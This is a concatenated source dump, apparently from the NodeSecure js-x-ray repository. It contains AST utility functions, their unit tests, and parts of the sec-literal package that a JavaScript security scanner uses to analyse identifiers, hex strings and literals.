prefix === "string" ? `${prefix}.${name}` : name; 110 | } 111 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/index.d.ts: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import { VariableTracer } from "./utils/VariableTracer"; 3 | 4 | export { VariableTracer }; 5 | 6 | export function extractLogicalExpression( 7 | node: any 8 | ): IterableIterator<{ operator: "||" | "&&" | "??", node: any }>; 9 | 10 | export function arrayExpressionToString( 11 | node: any, options?: { tracer?: VariableTracer } 12 | ): IterableIterator; 13 | 14 | export function concatBinaryExpression( 15 | node: any, options?: { tracer?: VariableTracer, stopOnUnsupportedNode?: boolean } 16 | ): IterableIterator; 17 | 18 | export function getCallExpressionArguments( 19 | node: any, options?: { tracer?: VariableTracer } 20 | ): string[] | null; 21 | 22 | export function getCallExpressionIdentifier( 23 | node: any, options?: { tracer?: VariableTracer, resolveCallExpression?: boolean } 24 | ): string | null; 25 | 26 | export function getMemberExpressionIdentifier( 27 | node: any, options?: { tracer?: VariableTracer } 28 | ): IterableIterator; 29 | 30 | export function getVariableDeclarationIdentifiers( 31 | node: any, options?: { prefix?: string | null } 32 | ): IterableIterator<{ name: string; assignmentId: any }>; 33 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/index.js: -------------------------------------------------------------------------------- 1 | export * from "./getMemberExpressionIdentifier.js"; 2 | export * from "./getCallExpressionIdentifier.js"; 3 | export * from "./getVariableDeclarationIdentifiers.js"; 4 | export * from "./getCallExpressionArguments.js"; 5 | export * from "./concatBinaryExpression.js"; 6 | export * from "./arrayExpressionToString.js"; 7 | export * from "./isLiteralRegex.js"; 8 | export * from "./extractLogicalExpression.js"; 9 | 10 | export * from "./utils/VariableTracer.js"; 11 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/isLiteralRegex.js: -------------------------------------------------------------------------------- 1 | export function isLiteralRegex(node) { 2 | return node.type === "Literal" && "regex" in node; 3 | } 4 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/utils/VariableTracer.d.ts: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import EventEmitter from "node:events"; 3 | 4 | export interface DataIdentifierOptions { 5 | /** 6 | * @default false 7 | */ 8 | removeGlobalIdentifier?: boolean; 9 | } 10 | 11 | declare class VariableTracer extends EventEmitter { 12 | static AssignmentEvent: Symbol; 13 | 14 | literalIdentifiers: Map; 15 | importedModules: Set; 16 | 17 | enableDefaultTracing(): VariableTracer; 18 | debug(): void; 19 | trace(identifierOrMemberExpr: string, options?: { 20 | followConsecutiveAssignment?: boolean; 21 | moduleName?: string; 22 | name?: string; 23 | }): VariableTracer; 24 | removeGlobalIdentifier(identifierOrMemberExpr: string): string; 25 | getDataFromIdentifier(identifierOrMemberExpr: string, options: DataIdentifierOptions): null | { 26 | name: string; 27 | identifierOrMemberExpr: string; 28 | assignmentMemory: string[]; 29 | }; 30 | walk(node: any): void; 31 | } 32 | 33 | export { 34 | VariableTracer 35 | } 36 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/utils/getSubMemberExpressionSegments.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @param {!string} str 3 | * @returns {IterableIterator} 4 | */ 5 | export function* getSubMemberExpressionSegments(memberExpressionFullpath) { 6 | const identifiers = memberExpressionFullpath.split("."); 7 | const segments = []; 8 | 9 | for (let i = 0; i < identifiers.length - 1; i++) { 10 | segments.push(identifiers[i]); 11 | yield segments.join("."); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/utils/index.js: -------------------------------------------------------------------------------- 1 | export * from "./getSubMemberExpressionSegments.js"; 2 | export * from "./notNullOrUndefined.js"; 3 | export * from "./VariableTracer.js"; 4 | export * from "./isEvilIdentifierPath.js"; 5 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/utils/isEvilIdentifierPath.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @param {!string} identifier 3 | */ 4 | export function isEvilIdentifierPath(identifier) { 5 | return isFunctionPrototype(identifier); 6 | } 7 | 8 | export function isNeutralCallable(identifier) { 9 | return identifier === "Function.prototype.call"; 10 | } 11 | 12 | /** 13 | * @param {!string} identifier 14 | */ 15 | function isFunctionPrototype(identifier) { 16 | return identifier.startsWith("Function.prototype") 17 | && /call|apply|bind/i.test(identifier); 18 | } 19 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/utils/notNullOrUndefined.js: -------------------------------------------------------------------------------- 1 | export function notNullOrUndefined(value) { 2 | return value !== null && value !== void 0; 3 | } 4 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/test/arrayExpressionToString.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Third-party Dependencies 6 | import { IteratorMatcher } from "iterator-matcher"; 7 | 8 | // Import Internal Dependencies 9 | import { arrayExpressionToString } from "../src/index.js"; 10 | import { codeToAst, getExpressionFromStatement, createTracer } from "./utils.js"; 11 | 12 | test("given an ArrayExpression with two Literals then the iterable must return them one by one", () => { 13 | const [astNode] = codeToAst("['foo', 'bar']"); 14 | const iter = arrayExpressionToString(getExpressionFromStatement(astNode)); 15 | 16 | const iterResult = new IteratorMatcher() 17 | .expect("foo") 18 | .expect("bar") 19 | .execute(iter, { allowNoMatchingValues: false }); 20 | 21 | assert.strictEqual(iterResult.isMatching, true); 22 | assert.strictEqual(iterResult.elapsedSteps, 2); 23 | }); 24 | 25 | test("given an ArrayExpression with two Identifiers then the iterable must return value from the Tracer", () => { 26 | const { tracer } = createTracer(); 27 | tracer.literalIdentifiers.set("foo", "1"); 28 | tracer.literalIdentifiers.set("bar", "2"); 29 | 30 | const [astNode] = codeToAst("[foo, bar]"); 31 | const iter = arrayExpressionToString(getExpressionFromStatement(astNode), { tracer }); 32 | 33 | const iterResult = new IteratorMatcher() 34 | .expect("1") 35 | .expect("2") 36 | .execute(iter, { allowNoMatchingValues: false }); 37 | 38 | assert.strictEqual(iterResult.isMatching, true); 39 | assert.strictEqual(iterResult.elapsedSteps, 2); 40 | }); 41 | 42 | test(`given an ArrayExpression with two numbers 43 | then the function must convert them as char code 44 | and return them in the iterable`, () => { 45 | const [astNode] = codeToAst("[65, 66]"); 46 | const iter = arrayExpressionToString(getExpressionFromStatement(astNode)); 47 | 48 | const iterResult = new IteratorMatcher() 49 | .expect("A") 50 | .expect("B") 51 | .execute(iter, { allowNoMatchingValues: false }); 52 | 53 | assert.strictEqual(iterResult.isMatching, true); 54 | assert.strictEqual(iterResult.elapsedSteps, 2); 55 | }); 56 | 57 | test("given an ArrayExpression with empty Literals then the iterable must return no values", () => { 58 | const [astNode] = codeToAst("['', '']"); 59 | const iter = arrayExpressionToString(getExpressionFromStatement(astNode)); 60 | 61 | const iterResult = [...iter]; 62 | 63 | assert.strictEqual(iterResult.length, 0); 64 | }); 65 | 66 | test("given an AST that is not an ArrayExpression then it must return immediately", () => { 67 | const [astNode] = codeToAst("const foo = 5;"); 68 | const iter = arrayExpressionToString(astNode); 69 | 70 | const iterResult = [...iter]; 71 | 72 | assert.strictEqual(iterResult.length, 0); 73 | }); 74 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/test/concatBinaryExpression.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Third-party Dependencies 6 | import { IteratorMatcher } from "iterator-matcher"; 7 | 8 | // Import Internal Dependencies 9 | import { concatBinaryExpression } from "../src/index.js"; 10 | import { codeToAst, getExpressionFromStatement, createTracer } from "./utils.js"; 11 | 12 | test("given a BinaryExpression of two literals then the iterable must return Literal values", () => { 13 | const [astNode] = codeToAst("'foo' + 'bar' + 'xd'"); 14 | const iter = concatBinaryExpression(getExpressionFromStatement(astNode)); 15 | 16 | const iterResult = new IteratorMatcher() 17 | .expect("foo") 18 | .expect("bar") 19 | .expect("xd") 20 | .execute(iter, { allowNoMatchingValues: false }); 21 | 22 | assert.strictEqual(iterResult.isMatching, true); 23 | assert.strictEqual(iterResult.elapsedSteps, 3); 24 | }); 25 | 26 | test("given a BinaryExpression of two ArrayExpression then the iterable must return Array values as string", () => { 27 | const [astNode] = codeToAst("['A'] + ['B']"); 28 | const iter = concatBinaryExpression(getExpressionFromStatement(astNode)); 29 | 30 | const iterResult = new IteratorMatcher() 31 | .expect("A") 32 | .expect("B") 33 | .execute(iter, { allowNoMatchingValues: false }); 34 | 35 | assert.strictEqual(iterResult.isMatching, true); 36 | assert.strictEqual(iterResult.elapsedSteps, 2); 37 | }); 38 | 39 | test("given a BinaryExpression of two Identifiers then the iterable must the tracer values", () => { 40 | const { tracer } = createTracer(); 41 | tracer.literalIdentifiers.set("foo", "A"); 42 | tracer.literalIdentifiers.set("bar", "B"); 43 | 44 | const [astNode] = codeToAst("foo + bar"); 45 | const iter = concatBinaryExpression(getExpressionFromStatement(astNode), { tracer }); 46 | 47 | const iterResult = new IteratorMatcher() 48 | .expect("A") 49 | .expect("B") 50 | .execute(iter, { allowNoMatchingValues: false }); 51 | 52 | assert.strictEqual(iterResult.isMatching, true); 53 | assert.strictEqual(iterResult.elapsedSteps, 2); 54 | }); 55 | 56 | test("given a one level BinaryExpression with an unsupported node it should throw an Error", () => { 57 | const { tracer } = createTracer(); 58 | 59 | const [astNode] = codeToAst("evil() + 's'"); 60 | try { 61 | const iter = concatBinaryExpression(getExpressionFromStatement(astNode), { 62 | tracer, 63 | stopOnUnsupportedNode: true 64 | }); 65 | iter.next(); 66 | } 67 | catch (error) { 68 | assert.strictEqual(error.message, "concatBinaryExpression:: Unsupported node detected"); 69 | } 70 | }); 71 | 72 | test("given a Deep BinaryExpression with an unsupported node it should throw an Error", () => { 73 | const { tracer } = createTracer(); 74 | 75 | const [astNode] = codeToAst("'a' + evil() + 's'"); 76 | try { 77 | const iter = concatBinaryExpression(getExpressionFromStatement(astNode), { 78 | tracer, 79 | stopOnUnsupportedNode: true 80 | }); 81 | iter.next(); 82 | } 83 | catch (error) { 84 | assert.strictEqual(error.message, "concatBinaryExpression:: Unsupported node detected"); 85 | } 86 | }); 87 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/test/extractLogicalExpression.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { extractLogicalExpression } from "../src/index.js"; 7 | import { codeToAst, getExpressionFromStatement } from "./utils.js"; 8 | 9 | test("it should extract two Nodes from a LogicalExpression with two operands", () => { 10 | const [astNode] = codeToAst("5 || 10"); 11 | const iter = extractLogicalExpression( 12 | getExpressionFromStatement(astNode) 13 | ); 14 | 15 | const iterResult = [...iter]; 16 | assert.strictEqual(iterResult.length, 2); 17 | 18 | assert.strictEqual(iterResult[0].operator, "||"); 19 | assert.strictEqual(iterResult[0].node.type, "Literal"); 20 | assert.strictEqual(iterResult[0].node.value, 5); 21 | 22 | assert.strictEqual(iterResult[1].operator, "||"); 23 | assert.strictEqual(iterResult[1].node.type, "Literal"); 24 | assert.strictEqual(iterResult[1].node.value, 10); 25 | }); 26 | 27 | test("it should extract all nodes and add up all Literal values", () => { 28 | const [astNode] = codeToAst("5 || 10 || 15 || 20"); 29 | const iter = extractLogicalExpression( 30 | getExpressionFromStatement(astNode) 31 | ); 32 | 33 | const total = [...iter] 34 | .reduce((previous, { node }) => previous + node.value, 0); 35 | assert.strictEqual(total, 50); 36 | }); 37 | 38 | test("it should extract all Nodes but with different operators and a LogicalExpr on the right", () => { 39 | const [astNode] = codeToAst("5 || 10 && 55"); 40 | const iter = extractLogicalExpression( 41 | getExpressionFromStatement(astNode) 42 | ); 43 | 44 | const operators = new Set( 45 | [...iter].map(({ operator }) => operator) 46 | ); 47 | assert.deepEqual([...operators], ["||", "&&"]); 48 | }); 49 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/test/getCallExpressionIdentifier.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { getCallExpressionIdentifier } from "../src/index.js"; 7 | import { codeToAst, getExpressionFromStatement } from "./utils.js"; 8 | 9 | test("given a JavaScript eval CallExpression then it must return eval", () => { 10 | const [astNode] = codeToAst("eval(\"this\");"); 11 | const nodeIdentifier = getCallExpressionIdentifier(getExpressionFromStatement(astNode)); 12 | 13 | assert.strictEqual(nodeIdentifier, "eval"); 14 | }); 15 | 16 | test("given a Function(`...`)() Double CallExpression then it must return the Function literal identifier", () => { 17 | const [astNode] = codeToAst("Function(\"return this\")();"); 18 | const nodeIdentifier = getCallExpressionIdentifier(getExpressionFromStatement(astNode)); 19 | 20 | assert.strictEqual(nodeIdentifier, "Function"); 21 | }); 22 | 23 | test(`given a Function("...")() Double CallExpression with resolveCallExpression options disabled 24 | then it must return null`, () => { 25 | const [astNode] = codeToAst("Function(\"return this\")();"); 26 | const nodeIdentifier = getCallExpressionIdentifier( 27 | getExpressionFromStatement(astNode), 28 | { resolveCallExpression: false } 29 | ); 30 | 31 | assert.strictEqual(nodeIdentifier, null); 32 | }); 33 | 34 | test("given a JavaScript AssignmentExpression then it must return null", () => { 35 | const [astNode] = codeToAst("foo = 10;"); 36 | const nodeIdentifier = getCallExpressionIdentifier(getExpressionFromStatement(astNode)); 37 | 38 | assert.strictEqual(nodeIdentifier, null); 39 | }); 40 | 41 | test(`given a require statement immediatly invoked with resolveCallExpression options enabled 42 | then it must return require literal identifier`, () => { 43 | const [astNode] = codeToAst("require('foo')();"); 44 | const nodeIdentifier = getCallExpressionIdentifier( 45 | getExpressionFromStatement(astNode), 46 | { resolveCallExpression: true } 47 | ); 48 | 49 | assert.strictEqual(nodeIdentifier, "require"); 50 | }); 51 | 52 | test(`given a require statement immediatly invoked with resolveCallExpression options disabled 53 | then it must return null`, () => { 54 | const [astNode] = codeToAst("require('foo')();"); 55 | const nodeIdentifier = getCallExpressionIdentifier( 56 | getExpressionFromStatement(astNode), 57 | { resolveCallExpression: false } 58 | ); 59 | 60 | assert.strictEqual(nodeIdentifier, null); 61 | }); 62 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/test/getMemberExpressionIdentifier.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Third-party Dependencies 6 | import { IteratorMatcher } from "iterator-matcher"; 7 | 8 | // Import Internal Dependencies 9 | import { getMemberExpressionIdentifier } from "../src/index.js"; 10 | import { codeToAst, createTracer, getExpressionFromStatement } from "./utils.js"; 11 | 12 | test("it must return all literals part of the given MemberExpression", () => { 13 | const [astNode] = codeToAst("foo.bar.xd"); 14 | const iter = getMemberExpressionIdentifier( 15 | getExpressionFromStatement(astNode) 16 | ); 17 | 18 | const iterResult = new IteratorMatcher() 19 | .expect("foo") 20 | .expect("bar") 21 | .expect("xd") 22 | .execute(iter, { allowNoMatchingValues: false }); 23 | 24 | assert.strictEqual(iterResult.isMatching, true); 25 | assert.strictEqual(iterResult.elapsedSteps, 3); 26 | }); 27 | 28 | test("it must return all computed properties of the given MemberExpression", () => { 29 | const [astNode] = codeToAst("foo['bar']['xd']"); 30 | const iter = getMemberExpressionIdentifier( 31 | getExpressionFromStatement(astNode) 32 | ); 33 | 34 | const iterResult = new IteratorMatcher() 35 | .expect("foo") 36 | .expect("bar") 37 | .expect("xd") 38 | .execute(iter, { allowNoMatchingValues: false }); 39 | 40 | assert.strictEqual(iterResult.isMatching, true); 41 | assert.strictEqual(iterResult.elapsedSteps, 3); 42 | }); 43 | 44 | test(`given a MemberExpression with a computed property containing a deep tree of BinaryExpression 45 | then it must return all literals parts even the last one which is the concatenation of the BinaryExpr`, () => { 46 | const [astNode] = codeToAst("foo.bar[\"k\" + \"e\" + \"y\"]"); 47 | const iter = getMemberExpressionIdentifier( 48 | getExpressionFromStatement(astNode) 49 | ); 50 | 51 | const iterResult = new IteratorMatcher() 52 | .expect("foo") 53 | .expect("bar") 54 | .expect("key") 55 | .execute(iter, { allowNoMatchingValues: false }); 56 | 57 | assert.strictEqual(iterResult.isMatching, true); 58 | assert.strictEqual(iterResult.elapsedSteps, 3); 59 | }); 60 | 61 | test(`given a MemberExpression with computed properties containing identifiers 62 | then it must return all literals values from the tracer`, () => { 63 | const { tracer } = createTracer(); 64 | tracer.literalIdentifiers.set("foo", "hello"); 65 | tracer.literalIdentifiers.set("yo", "bar"); 66 | 67 | const [astNode] = codeToAst("hey[foo][yo]"); 68 | const iter = getMemberExpressionIdentifier( 69 | getExpressionFromStatement(astNode), { tracer } 70 | ); 71 | 72 | const iterResult = new IteratorMatcher() 73 | .expect("hey") 74 | .expect("hello") 75 | .expect("bar") 76 | .execute(iter, { allowNoMatchingValues: false }); 77 | 78 | assert.strictEqual(iterResult.isMatching, true); 79 | assert.strictEqual(iterResult.elapsedSteps, 3); 80 | }); 81 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/test/isLiteralRegex.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { isLiteralRegex } from "../src/index.js"; 7 | import { codeToAst, getExpressionFromStatement } from "./utils.js"; 8 | 9 | test("given a Literal Regex Node it should return true", () => { 10 | const [astNode] = codeToAst("/^a/g"); 11 | const isLRegex = isLiteralRegex(getExpressionFromStatement(astNode)); 12 | 13 | assert.strictEqual(isLRegex, true); 14 | }); 15 | 16 | test("given a RegexObject Node it should return false", () => { 17 | const [astNode] = codeToAst("new RegExp('^hello')"); 18 | const isLRegex = isLiteralRegex(getExpressionFromStatement(astNode)); 19 | 20 | assert.strictEqual(isLRegex, false); 21 | }); 22 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/test/utils.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import * as meriyah from "meriyah"; 3 | import { walk } from "estree-walker"; 4 | 5 | // Import Internal Dependencies 6 | import { VariableTracer } from "../src/index.js"; 7 | 8 | export function codeToAst(code) { 9 | const estreeRootNode = meriyah.parseScript(code, { 10 | next: true, 11 | loc: true, 12 | raw: true, 13 | module: true, 14 | globalReturn: false 15 | }); 16 | 17 | return estreeRootNode.body; 18 | } 19 | 20 | export function getExpressionFromStatement(node) { 21 | return node.type === "ExpressionStatement" ? node.expression : null; 22 | } 23 | 24 | export function createTracer(enableDefaultTracing = false) { 25 | const tracer = new VariableTracer(); 26 | if (enableDefaultTracing) { 27 | tracer.enableDefaultTracing(); 28 | } 29 | 30 | return { 31 | tracer, 32 | walkOnAst(astNode) { 33 | walk(astNode, { 34 | enter(node) { 35 | tracer.walk(node); 36 | } 37 | }); 38 | }, 39 | /** 40 | * @param {!string} codeStr 41 | * @param {object} [options] 42 | * @param {boolean} [options.debugAst=false] 43 | * @returns {void} 44 | */ 45 | walkOnCode(codeStr, options = {}) { 46 | const { debugAst = false } = options; 47 | 48 | const astNode = codeToAst(codeStr); 49 | if (debugAst) { 50 | console.log(JSON.stringify(astNode, null, 2)); 51 | } 52 | 53 | this.walkOnAst(astNode); 54 | }, 55 | getAssignmentArray(event = VariableTracer.AssignmentEvent) { 56 | const assignmentEvents = []; 57 | tracer.on(event, (value) => assignmentEvents.push(value)); 58 | 59 | return assignmentEvents; 60 | } 61 | }; 62 | } 63 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/test/utils/getSubMemberExpressionSegments.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Third-party Dependencies 6 | import { IteratorMatcher } from "iterator-matcher"; 7 | 8 | // Import Internal Dependencies 9 | import { getSubMemberExpressionSegments } from "../../src/utils/index.js"; 10 | 11 | test("given a MemberExpression then it should return each segments (except the last one)", () => { 12 | const iter = getSubMemberExpressionSegments("foo.bar.xd"); 13 | 14 | const iterResult = new IteratorMatcher() 15 | .expect("foo") 16 | .expect("foo.bar") 17 | .execute(iter, { allowNoMatchingValues: false }); 18 | 19 | assert.strictEqual(iterResult.isMatching, true); 20 | assert.strictEqual(iterResult.elapsedSteps, 2); 21 | }); 22 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/test/utils/isEvilIdentifierPath.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { isEvilIdentifierPath } from "../../src/utils/index.js"; 7 | 8 | test("given a random prototype method name then it should return false", () => { 9 | const result = isEvilIdentifierPath( 10 | "Function.prototype.foo" 11 | ); 12 | 13 | assert.strictEqual(result, false); 14 | }); 15 | 16 | test("given a list of evil identifiers it should always return true", () => { 17 | const evilIdentifiers = [ 18 | "Function.prototype.bind", 19 | "Function.prototype.call", 20 | "Function.prototype.apply" 21 | ]; 22 | for (const identifier of evilIdentifiers) { 23 | assert.strictEqual(isEvilIdentifierPath(identifier), true); 24 | } 25 | }); 26 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/test/utils/notNullOrUndefined.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { notNullOrUndefined } from "../../src/utils/index.js"; 7 | 8 | test("given a null or undefined primitive value then it must always return false", () => { 9 | assert.strictEqual(notNullOrUndefined(null), false, "null primitive value should return false"); 10 | assert.strictEqual(notNullOrUndefined(void 0), false, "undefined primitive value should return false"); 11 | }); 12 | 13 | test("given values (primitive or objects) that are not null or undefined then it must always return true", () => { 14 | const valuesToAssert = ["", 1, true, Symbol("foo"), {}, [], /^xd/g]; 15 | for (const value of valuesToAssert) { 16 | assert.strictEqual(notNullOrUndefined(value), true); 17 | } 18 | }); 19 | -------------------------------------------------------------------------------- /workspaces/sec-literal/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023-2024 NodeSecure 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /workspaces/sec-literal/README.md: -------------------------------------------------------------------------------- 1 | # Sec-literal 2 | [![version](https://img.shields.io/github/package-json/v/NodeSecure/js-x-ray?filename=workspaces%2Fsec-literal%2Fpackage.json&style=for-the-badge)](https://www.npmjs.com/package/@nodesecure/sec-literal) 3 | [![maintained](https://img.shields.io/badge/Maintained%3F-yes-green.svg?style=for-the-badge)](https://github.com/NodeSecure/js-x-ray/blob/master/workspaces/sec-literal/graphs/commit-activity) 4 | [![OpenSSF 5 | Scorecard](https://api.securityscorecards.dev/projects/github.com/NodeSecure/js-x-ray/badge?style=for-the-badge)](https://api.securityscorecards.dev/projects/github.com/NodeSecure/js-x-ray) 6 | [![mit](https://img.shields.io/github/license/NodeSecure/js-x-ray?style=for-the-badge)](https://github.com/NodeSecure/js-x-ray/blob/master/workspaces/sec-literal/LICENSE) 7 | [![build](https://img.shields.io/github/actions/workflow/status/NodeSecure/js-x-ray/sec-literal.yml?style=for-the-badge)](https://github.com/NodeSecure/js-x-ray/actions?query=workflow%3A%22sec+literal+CI%22) 8 | 9 | This package is a security utilities library created to analyze [ESTree Literal](https://github.com/estree/estree/blob/master/es5.md#literal) and JavaScript string primitive. This project was originally created to simplify and better test the functionalities required for the SAST Scanner [JS-X-Ray](https://github.com/fraxken/js-x-ray). 10 | 11 | ## Features 12 | 13 | - Detect Hexadecimal, Base64, Hexa and Unicode sequences. 14 | - Detect patterns (prefix, suffix) on groups of identifiers. 15 | - Detect suspicious string and return advanced metrics on it (char diversity etc). 16 | 17 | ## Getting Started 18 | 19 | This package is available in the Node Package Repository and can be easily installed with [npm](https://docs.npmjs.com/getting-started/what-is-npm) or [yarn](https://yarnpkg.com). 20 | 21 | ```bash 22 | $ npm i @nodesecure/sec-literal 23 | # or 24 | $ yarn add @nodesecure/sec-literal 25 | ``` 26 | 27 | ## API 28 | 29 | ## Hex 30 | 31 | ### isHex(anyValue): boolean 32 | Detect if the given string is an Hexadecimal value 33 | 34 | ### isSafe(anyValue): boolean 35 | Detect if the given string is a safe Hexadecimal value. The goal of this method is to eliminate false-positive. 36 | 37 | ```js 38 | Hex.isSafe("1234"); // true 39 | Hex.isSafe("abcdef"); // true 40 | ``` 41 | 42 | ## Literal 43 | 44 | ### isLiteral(anyValue): boolean 45 | ### toValue(anyValue): string 46 | ### toRaw(anyValue): string 47 | ### defaultAnalysis(literalValue) 48 | 49 | ## Utils 50 | 51 | ### isSvg(strValue): boolean 52 | 53 | ### isSvgPath(strValue): boolean 54 | Detect if a given string is a svg path or not. 55 | 56 | ### stringCharDiversity(str): number 57 | Get the number of unique chars in a given string 58 | 59 | ### stringSuspicionScore(str): number 60 | Analyze a given string an give it a suspicion score (higher than 1 or 2 mean that the string is highly suspect). 61 | 62 | ## Patterns 63 | 64 | ### commonStringPrefix(leftStr, rightStr): string | null 65 | ### commonStringSuffix(leftStr, rightStr): string | null 66 | ### commonHexadecimalPrefix(identifiersArray: string[]) 67 | 68 | ## License 69 | MIT 70 | -------------------------------------------------------------------------------- /workspaces/sec-literal/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "@nodesecure/sec-literal", 3 | "version": "1.2.0", 4 | "description": "Package created to analyze JavaScript literals", 5 | "exports": "./src/index.js", 6 | "private": false, 7 | "type": "module", 8 | "scripts": { 9 | "lint": "eslint src", 10 | "test-only": "node --test", 11 | "test": "npm run lint && npm run test-only" 12 | }, 13 | "repository": { 14 | "type": "git", 15 | "url": "git+https://github.com/NodeSecure/js-x-ray.git" 16 | }, 17 | "keywords": [ 18 | "security", 19 | "literal", 20 | "estree", 21 | "analysis", 22 | "scanner" 23 | ], 24 | "files": [ 25 | "src" 26 | ], 27 | "author": "GENTILHOMME Thomas ", 28 | "license": "MIT", 29 | "bugs": { 30 | "url": "https://github.com/NodeSecure/js-x-ray/issues" 31 | }, 32 | "homepage": "https://github.com/NodeSecure/js-x-ray/tree/master/workspaces/sec-literal#readme", 33 | "dependencies": { 34 | "frequency-set": "^1.0.2", 35 | "is-base64": "^1.1.0", 36 | "is-svg": "^6.0.0", 37 | "string-width": "^7.0.0" 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /workspaces/sec-literal/src/hex.js: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import * as Literal from "./literal.js"; 3 | import * as Utils from "./utils.js"; 4 | 5 | const kUnsafeHexValues = new Set([ 6 | "require", 7 | "length" 8 | ].map((value) => Buffer.from(value).toString("hex"))); 9 | 10 | // CONSTANTS 11 | const kSafeHexValues = new Set([ 12 | "0123456789", 13 | "123456789", 14 | "abcdef", 15 | "abc123456789", 16 | "0123456789abcdef", 17 | "abcdef0123456789abcdef" 18 | ]); 19 | 20 | export const CONSTANTS = Object.freeze({ 21 | SAFE_HEXA_VALUES: [...kSafeHexValues], 22 | UNSAFE_HEXA_VALUES: [...kUnsafeHexValues] 23 | }); 24 | 25 | /** 26 | * @description detect if the given string is an Hexadecimal value 27 | * @param {SecLiteral.Literal | string} anyValue 28 | * @returns {boolean} 29 | */ 30 | export function isHex(anyValue) { 31 | const value = Literal.toValue(anyValue); 32 | 33 | return typeof value === "string" && /^[0-9A-Fa-f]{4,}$/g.test(value); 34 | } 35 | 36 | /** 37 | * @description detect if the given string is a safe Hexadecimal value 38 | * @param {SecLiteral.Literal | string} anyValue 39 | * @returns {boolean} 40 | */ 41 | export function isSafe(anyValue) { 42 | const rawValue = Literal.toRaw(anyValue); 43 | if (kUnsafeHexValues.has(rawValue)) { 44 | return false; 45 | } 46 | 47 | const charCount = Utils.stringCharDiversity(rawValue); 48 | if (/^([0-9]+|[a-z]+|[A-Z]+)$/g.test(rawValue) || rawValue.length <= 5 || charCount <= 2) { 49 | return true; 50 | } 51 | 52 | return [...kSafeHexValues].some((value) => rawValue.toLowerCase().startsWith(value)); 53 | } 54 | -------------------------------------------------------------------------------- /workspaces/sec-literal/src/index.js: -------------------------------------------------------------------------------- 1 | export * as Hex from "./hex.js"; 2 | export * as Literal from "./literal.js"; 3 | export * as Utils from "./utils.js"; 4 | export * as Patterns from "./patterns.js"; 5 | -------------------------------------------------------------------------------- /workspaces/sec-literal/src/literal.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import isStringBase64 from "is-base64"; 3 | 4 | /** 5 | * @param {SecLiteral.Literal | string} anyValue 6 | * @returns {string} 7 | */ 8 | export function isLiteral(anyValue) { 